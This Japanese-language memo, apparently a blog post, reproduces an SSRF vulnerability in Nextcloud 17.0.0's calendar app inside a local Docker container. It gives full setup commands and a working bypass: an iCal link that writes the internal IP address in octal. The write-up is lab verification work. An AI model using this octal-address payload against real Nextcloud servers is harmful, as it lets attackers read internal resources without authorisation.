クラウドストレージを構築できるオープンソースソフトウェアであるNextcloudを用いた検証に関するメモ。Nextcloudの特定のバージョンは、SSRFに対して脆弱である。

脆弱なバージョンのNextcloudのdockerコンテナを使用する。次のコマンドを終えれば、ホストの1234番ポートにてNextcloudの画面にアクセスできる。

$ docker pull nextcloud:17.0.0-apache
$ docker run -d --name nextcloud-ssrf -p 1234:80 nextcloud:17.0.0-apache

検証に必要な次のセットアップをコマンドラインで済ませる。

  • 管理者アカウントの作成
  • Nextcloud内のカレンダーアプリ(これがSSRFに対して脆弱となる)のインストール
  • pythonのインストール(簡易Webサーバ用)
$ docker exec --user www-data nextcloud-ssrf php occ maintenance:install \
  --database "sqlite" \
  --admin-user "admin" \
  --admin-pass "password"

$ docker exec -u www-data nextcloud-ssrf sh -c \
  "curl -L https://github.com/nextcloud/calendar/releases/download/v1.7.2/calendar.tar.gz -o calendar.tar.gz && \
   tar -xzf calendar.tar.gz -C apps/ && \
   rm calendar.tar.gz"
$ docker exec -u www-data nextcloud-ssrf php occ app:enable calendar
$ docker exec -u www-data nextcloud-ssrf php occ config:system:set allow_local_remote_servers --value="true" --type=bool

$ docker exec -u root nextcloud-ssrf sh -c 'echo "deb http://archive.debian.org/debian buster main" > /etc/apt/sources.list && echo "deb http://archive.debian.org/debian-security buster/updates main" >> /etc/apt/sources.list && echo "deb http://archive.debian.org/debian buster-updates main" >> /etc/apt/sources.list'
$ docker exec -u root nextcloud-ssrf sh -c "apt-get update && apt-get install -y --allow-unauthenticated python3"

コンテナ内で検証用のカレンダーファイルを作成し、Webサーバでホストする。本来では、このカレンダーファイルを確認することはできない。

docker exec -d nextcloud-ssrf sh -c "echo -e 'BEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VEVENT\nSUMMARY:SSRF_SUCCESS\nEND:VEVENT\nEND:VCALENDAR' > secret.ics && python3 -m http.server 8080 --bind 127.0.0.1 2>&1 | tee access.log"

SSRFを実行するため、DockerコンテナのIPアドレスを確認しておく。

$ docker exec nextcloud-ssrf hostname -I

Dockerコンテナにアクセスし(http://localhost:1234)、作成したアカウント(admin/password)でログインのうえ、カレンダーに新しい予定を追加する。このとき、DockerコンテナのIPアドレスを8進数表記とした、次のようなiCalリンクを指定する。

  • http://0254.021.0.02:8080/secret.ics(hostname -Iの結果が172.17.0.2の場合)

予定を追加できれば、カレンダーにsecret.icsの内容が反映される。

前提として、Nextcloudのアカウント情報を入手しておいたり、Nextcloudサーバ内の機密ファイルの存在を知っておいたりする必要があるものの、条件さえ揃えばSSRFができることが分かった。